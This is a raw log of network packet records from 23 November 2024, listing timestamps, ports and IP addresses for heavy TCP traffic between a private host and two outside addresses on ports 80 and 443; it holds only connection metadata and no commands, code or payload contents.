Nov 23, 2024 18:22:11.448576927 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.448628902 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.450337887 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.450397968 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.450459957 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.450510979 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.452205896 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.452389956 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.452461004 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.454090118 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.454137087 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.454220057 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.454292059 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.455960989 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.456160069 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.456218004 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.457856894 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.457906961 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.457978964 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.458024979 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.459736109 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.459781885 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.459944963 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.461692095 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.461711884 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.461740017 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.461812973 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.463546991 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.463663101 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.463712931 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.465352058 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.465404987 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.465413094 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.465486050 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.467233896 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.467284918 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.467338085 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.467407942 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.469069958 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.469194889 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.469255924 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.471084118 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.471172094 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.471205950 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.471260071 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.472811937 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.472928047 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.472953081 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.472970963 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.474716902 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.474817991 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.474872112 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.476598024 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.476691008 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.476782084 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.478446960 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.478496075 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.478552103 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.478636980 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.480390072 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.480434895 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.480495930 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.482233047 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.482281923 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.482292891 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.482346058 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.484083891 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.484191895 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.484244108 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.485949993 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.486002922 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.486079931 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.486176968 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.487823009 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.487941027 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.488007069 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.489723921 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.489774942 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.489810944 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.489855051 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.491578102 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.491692066 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.491744041 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.493474007 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.493529081 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.493582964 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.493633032 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.494823933 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.494868040 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.494939089 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.495524883 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.496138096 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.496184111 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.496248007 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.496298075 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.497414112 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:11.497452021 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.497565031 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.497615099 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.497762918 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:11.497790098 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:11.498121023 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:11.498131990 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:11.498229980 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:11.498534918 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:11.498559952 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:11.498764992 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.498920918 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.498922110 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:11.498927116 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:11.498945951 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.498960018 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.500062943 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.500179052 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.500236988 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.501374006 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.501421928 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.501471043 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.501516104 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.502676964 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.502717972 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.502820969 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.502903938 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.503973961 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.504081964 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.504195929 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.505320072 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.505367041 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.505443096 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.505494118 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.506613970 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.506669998 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.506728888 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.506776094 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.507899046 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.508048058 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.508152008 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.509259939 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.509308100 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.509394884 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.509440899 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.510555029 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.510600090 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.510687113 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.510751009 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.511845112 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.511940002 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.512048006 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.513147116 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.513254881 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.513268948 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.513349056 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.514472961 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.514549017 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.514573097 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.514636993 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.515757084 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.515886068 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.515933990 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.517091990 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.517137051 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.517167091 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.517220974 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.518338919 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.518415928 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.535084963 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:11.535841942 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:11.535861015 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:11.536204100 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:11.536209106 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:11.623208046 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.623231888 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.623245955 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.623291016 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.623444080 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.624327898 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.624396086 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.624468088 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.624519110 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.625487089 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.625536919 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.625597954 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.625668049 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.626727104 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.626827955 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.626858950 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.626904964 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.628092051 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.628175020 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.628258944 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.629148960 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.629196882 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.629220963 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.629287004 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.630269051 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.630327940 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.630414009 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.630492926 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.631289959 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.631335020 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.631396055 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.632153034 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.632200003 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.632232904 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.632344007 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.633196115 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.633275986 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.633362055 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.633416891 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.634294987 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.634351015 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.634366989 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.634448051 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.635416985 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.635468006 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.635520935 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.635576010 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.636492014 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.636517048 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.636564970 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.636564970 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.641449928 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.641469002 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.641480923 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.641490936 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.641503096 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.641515017 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.641515017 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.641519070 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.641531944 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.641545057 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.641547918 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.641556978 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.641649961 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.642056942 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.642137051 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.642158985 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.642221928 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.643276930 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.643320084 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.643332958 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.643366098 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.644251108 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.644340992 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.644356966 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.644407988 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.645358086 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.645405054 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.645467997 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.645519018 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.646476030 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.646528959 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.646583080 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.646640062 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.647567034 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.647613049 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.647670031 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.647715092 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.648669958 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.648745060 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.648746967 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.648808956 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.649821043 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.649912119 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.649919033 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.649962902 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.650883913 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.650975943 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.651041031 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.651087046 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.651992083 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.652055979 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.652081013 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.652122974 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.653069973 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.653167963 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.653192043 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.653306961 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.654181957 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.654242992 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.654297113 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.654351950 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.655282021 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.655334949 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.655390024 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.655436039 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.656402111 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.656476974 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.656503916 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.656542063 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.657588005 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.657691002 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.657716036 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.657788992 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.658624887 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.658669949 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.658729076 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.658771038 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.659703016 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.659751892 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.659817934 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.659873009 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.660837889 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.660959959 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.661042929 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.661983013 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.662030935 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.662092924 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.662138939 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.663041115 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.663125038 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.663127899 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.663177013 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.664160013 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.664231062 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.664284945 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.665318966 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.665451050 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.665466070 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.665518045 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.666378975 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.666450024 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.666500092 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.667452097 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.667516947 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.667552948 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.667613029 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.668582916 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.668750048 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.668807983 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.669675112 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.669743061 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.669769049 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.669816017 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.670757055 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.670802116 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.670845032 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.670845032 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.671884060 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.671972990 CET	49755	80	192.168.2.4	185.215.113.16
